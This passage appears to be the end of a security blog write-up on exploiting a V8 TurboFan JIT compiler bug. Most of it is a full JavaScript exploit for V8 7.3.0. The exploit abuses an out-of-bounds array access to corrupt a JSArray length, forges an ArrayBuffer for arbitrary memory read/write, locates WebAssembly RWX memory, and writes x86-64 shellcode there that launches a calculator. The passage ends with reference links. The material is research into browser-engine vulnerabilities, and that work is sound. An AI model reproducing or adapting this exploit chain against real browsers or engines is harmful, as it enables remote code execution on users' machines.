0x00002fac7911ec68 0x00000cdfc0080c19 FIXED_ARRAY_TYPE
52417812097833
That gives us the following offsets:
let WasmOffsets = {
shared_function_info : 3,
wasm_exported_function_data : 1,
wasm_instance : 2,
jump_table_start : 31
};
Now simply find the JumpTableStart
pointer and modify your crafted ArrayBuffer
to overwrite this memory and copy your shellcode in it. Of course, you may want to backup the memory before so as to restore it after!
exp
// spawn gnome calculator
let shellcode = [0xe8, 0x00, 0x00, 0x00, 0x00, 0x41, 0x59, 0x49, 0x81, 0xe9, 0x05, 0x00, 0x00, 0x00, 0xb8, 0x01, 0x01, 0x00, 0x00, 0xbf, 0x6b, 0x00, 0x00, 0x00, 0x49, 0x8d, 0xb1, 0x61, 0x00, 0x00, 0x00, 0xba, 0x00, 0x00, 0x20, 0x00, 0x0f, 0x05, 0x48, 0x89, 0xc7, 0xb8, 0x51, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x49, 0x8d, 0xb9, 0x62, 0x00, 0x00, 0x00, 0xb8, 0xa1, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xb8, 0x3b, 0x00, 0x00, 0x00, 0x49, 0x8d, 0xb9, 0x64, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x57, 0x48, 0x89, 0xe6, 0x49, 0x8d, 0x91, 0x7e, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x52, 0x48, 0x89, 0xe2, 0x0f, 0x05, 0xeb, 0xfe, 0x2e, 0x2e, 0x00, 0x2f, 0x75, 0x73, 0x72, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x67, 0x6e, 0x6f, 0x6d, 0x65, 0x2d, 0x63, 0x61, 0x6c, 0x63, 0x75, 0x6c, 0x61, 0x74, 0x6f, 0x72, 0x00, 0x44, 0x49, 0x53, 0x50, 0x4c, 0x41, 0x59, 0x3d, 0x3a, 0x30, 0x00];
let WasmOffsets = {
shared_function_info : 3,
wasm_exported_function_data : 1,
wasm_instance : 2,
jump_table_start : 31
};
let log = this.print;
let ab = new ArrayBuffer(8);
let fv = new Float64Array(ab);
let dv = new BigUint64Array(ab);
let f2i = (f) => {
fv[0] = f;
return dv[0];
}
let i2f = (i) => {
dv[0] = BigInt(i);
return fv[0];
}
let tagFloat = (f) => {
fv[0] = f;
dv[0] += 1n;
return fv[0];
}
let hexprintablei = (i) => {
return (i).toString(16).padStart(16,"0");
}
let assert = (l,r,m) => {
if (l != r) {
log(hexprintablei(l) + " != " + hexprintablei(r));
log(m);
throw "failed assert";
}
return true;
}
let NEW_LENGTHSMI = 0x64;
let NEW_LENGTH64 = 0x0000006400000000;
let AB_LENGTH = 0x100;
let MARK1SMI = 0x13;
let MARK2SMI = 0x37;
let MARK1 = 0x0000001300000000;
let MARK2 = 0x0000003700000000;
let ARRAYBUFFER_SIZE = 0x40;
let PTR_SIZE = 8;
let opt_me = (x) => {
let MAGIC = 1.1; // don't move out of scope
let arr = new Array(MAGIC,MAGIC,MAGIC);
arr2 = Array.of(1.2); // allows to put the JSArray *before* the fixed arrays
evil_ab = new ArrayBuffer(AB_LENGTH);
packed_elements_array = Array.of(MARK1SMI,Math,MARK2SMI, get_pwnd);
let y = (x == "foo") ? 4503599627370495 : 4503599627370493;
let z = 2 + y + y ; // 2 + 4503599627370495 * 2 = 9007199254740992
z = z + 1 + 1 + 1;
z = z - (4503599627370495*2);
// may trigger the OOB R/W
let leak = arr[z];
arr[z] = i2f(NEW_LENGTH64); // try to corrupt arr2.length
// when leak == MAGIC, we are ready to exploit
if (leak != MAGIC) {
// [1] we should have corrupted arr2.length, we want to check it
assert(f2i(leak), 0x0000000100000000, "bad layout for jsarray length corruption");
assert(arr2.length, NEW_LENGTHSMI);
log("[+] corrupted JSArray's length");
// [2] now read evil_ab ArrayBuffer structure to prepare our fake array buffer
let ab_len_idx = arr2.indexOf(i2f(AB_LENGTH));
// check if the memory layout is consistent
assert(ab_len_idx != -1, true, "could not find array buffer");
assert(Number(f2i(arr2[ab_len_idx + 1])) & 1, false);
assert(Number(f2i(arr2[ab_len_idx + 1])) > 0x10000, true);
assert(f2i(arr2[ab_len_idx + 2]), 2);
let ibackingstore_ptr = f2i(arr2[ab_len_idx + 1]);
let fbackingstore_ptr = arr2[ab_len_idx + 1];
// copy the array buffer so as to prepare a good looking fake array buffer
let view = new BigUint64Array(evil_ab);
for (let i = 0; i < ARRAYBUFFER_SIZE / PTR_SIZE; ++i) {
view[i] = f2i(arr2[ab_len_idx-3+i]);
}
log("[+] Found backingstore pointer : " + hexprintablei(ibackingstore_ptr));
// [3] corrupt packed_elements_array to replace the pointer to the Math object
// by a pointer to our fake object located in our evil_ab array buffer
let magic_mark_idx = arr2.indexOf(i2f(MARK1));
assert(magic_mark_idx != -1, true, "could not find object pointer mark");
assert(f2i(arr2[magic_mark_idx+2]) == MARK2, true);
arr2[magic_mark_idx+1] = tagFloat(fbackingstore_ptr);
// [4] leak wasm function pointer
let ftagged_wasm_func_ptr = arr2[magic_mark_idx+3]; // we want to read get_pwnd
log("[+] wasm function pointer at 0x" + hexprintablei(f2i(ftagged_wasm_func_ptr)));
view[4] = f2i(ftagged_wasm_func_ptr)-1n;
// [5] use RW primitive to find WASM RWX memory
let rw_view = new BigUint64Array(packed_elements_array[1]);
let shared_function_info = rw_view[WasmOffsets.shared_function_info];
view[4] = shared_function_info - 1n; // detag pointer
rw_view = new BigUint64Array(packed_elements_array[1]);
let wasm_exported_function_data = rw_view[WasmOffsets.wasm_exported_function_data];
view[4] = wasm_exported_function_data - 1n; // detag
rw_view = new BigUint64Array(packed_elements_array[1]);
let wasm_instance = rw_view[WasmOffsets.wasm_instance];
view[4] = wasm_instance - 1n; // detag
rw_view = new BigUint64Array(packed_elements_array[1]);
let jump_table_start = rw_view[WasmOffsets.jump_table_start]; // detag
assert(jump_table_start > 0x10000n, true);
assert(jump_table_start & 0xfffn, 0n); // should look like an aligned pointer
log("[+] found RWX memory at 0x" + jump_table_start.toString(16));
view[4] = jump_table_start;
rw_view = new Uint8Array(packed_elements_array[1]);
// [6] write shellcode in RWX memory
for (let i = 0; i < shellcode.length; ++i) {
rw_view[i] = shellcode[I];
}
// [7] PWND!
let res = get_pwnd();
print(res);
}
return leak;
}
(() => {
assert(this.alert, undefined); // only v8 is supported
assert(this.version().includes("7.3.0"), true); // only tested on version 7.3.0
// exploit is the same for both windows and linux, only shellcodes have to be changed
// architecture is expected to be 64 bits
})()
// needed for RWX memory
load("wasm.js");
opt_me("");
for (var i = 0; i < 0x10000; ++i) // trigger optimization
opt_me("");
let res = opt_me("foo");
参考链接
https://github.com/JeremyFetiveau/pwn-just-in-time-exploit
%DumpObjects() https://github.com/JeremyFetiveau/debugging-tools/tree/master/v8_doare-helpers
V8's TurboFan documentation
Benedikt Meurer's talks
Mathias Bynen's website
This article on ponyfoo
Vyacheslav Egorov's website
Samuel Groß's 2018 BlackHat talk on attacking client side JIT compilers
Andrea Biondo's write up on the Math.expm1 TurboFan bug
Jay Bosamiya's write up on the Math.expm1 TurboFan bug